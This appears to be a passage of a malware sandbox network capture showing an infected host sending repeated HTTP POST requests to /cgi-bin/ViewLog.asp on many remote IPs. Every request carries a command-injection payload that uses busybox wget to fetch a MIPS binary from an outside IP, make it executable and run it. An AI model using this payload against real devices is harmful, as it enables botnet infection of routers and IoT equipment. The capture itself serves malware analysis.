                                                x-xss-protection: 1; mode=block
                                                Date: Thu, 23 Nov 2023 04:21:18 GMT
                                                Content-Type: text/html
                                                Connection: close
                                                Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 73 63 72 69 70 74 3e 74 6f 70 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 27 2f 4d 61 69 6e 5f 4c 6f 67 69 6e 2e 61 73 70 27 3b 3c 2f 73 63 72 69 70 74 3e 0a 3c 2f 48 45 41 44 3e 3c 2f 48 54 4d 4c 3e 0a
                                                Data Ascii: <HTML><HEAD><script>top.location.href='/Main_Login.asp';</script></HEAD></HTML>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                317192.168.2.155461094.120.37.1958080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:18.355719090 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                318192.168.2.155706431.200.5.2018080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:18.361797094 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                319192.168.2.154056294.123.178.2138080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:18.363876104 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                320192.168.2.155161231.200.38.618080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:18.365737915 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                321192.168.2.155004294.188.131.1108080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:18.369569063 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:18.599735975 CET305INHTTP/1.1 407 Unauthorized
                                                Server: Zscaler proxy
                                                Cache-control: no-cache
                                                Content-Length: 0
                                                Proxy-Authenticate: Digest realm="zscloud.net", qop="auth", opaque="2802348cd031ea39faf70f72f0b59b94", nonce=c983477c0337af238b26be2cd2a3248d


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                322192.168.2.154480431.136.180.608080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:18.511934042 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:19.098860979 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:20.218849897 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:22.490765095 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:27.098687887 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:36.058523893 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:53.977905035 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:30.840888023 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                323192.168.2.155799495.236.183.1528080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:18.531650066 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:18.735471010 CET471INHTTP/1.1 404 Not Found
                                                Date: Thu, 23 Nov 2023 05:21:19 GMT
                                                Server: DNVRS-Webs
                                                Cache-Control: no-cache
                                                Content-Length: 207
                                                Content-Type: text/html
                                                Connection: keep-alive
                                                Keep-Alive: timeout=60, max=99
                                                Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 44 6f 63 75 6d 65 6e 74 20 45 72 72 6f 72 3a 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 41 63 63 65 73 73 20 45 72 72 6f 72 3a 20 34 30 34 20 2d 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 70 3e 43 61 6e 27 74 20 6f 70 65 6e 20 64 6f 63 75 6d 65 6e 74 3a 20 2f 68 6f 6d 65 2f 61 70 70 2f 77 65 62 73 2f 63 67 69 2d 62 69 6e 2f 56 69 65 77 4c 6f 67 2e 61 73 70 3c 2f 70 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a
                                                Data Ascii: <!DOCTYPE html><html><head><title>Document Error: Not Found</title></head><body><h2>Access Error: 404 -- Not Found</h2><p>Can't open document: /home/app/webs/cgi-bin/ViewLog.asp</p></body></html>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                324192.168.2.155227831.136.190.2228080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:18.695221901 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:19.258881092 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:20.378895998 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:22.746740103 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:27.354660034 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:36.314412117 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:56.025993109 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:32.888839960 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                325192.168.2.155321662.108.209.2478080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:18.734592915 CET388INHTTP/1.0 400 Bad Request
                                                Server: httpd/2.0
                                                x-frame-options: SAMEORIGIN
                                                x-xss-protection: 1; mode=block
                                                Date: Thu, 23 Nov 2023 04:21:18 GMT
                                                Content-Type: text/html
                                                Connection: close
                                                Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 63 63 39 39 39 39 22 3e 3c 48 34 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 48 34 3e 0a 4e 6f 20 72 65 71 75 65 73 74 20 66 6f 75 6e 64 2e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a
                                                Data Ascii: <HTML><HEAD><TITLE>400 Bad Request</TITLE></HEAD><BODY BGCOLOR="#cc9999"><H4>400 Bad Request</H4>No request found.</BODY></HTML>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                326192.168.2.153666894.121.74.288080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:18.739604950 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                327192.168.2.155653431.200.112.1568080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:20.621248007 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
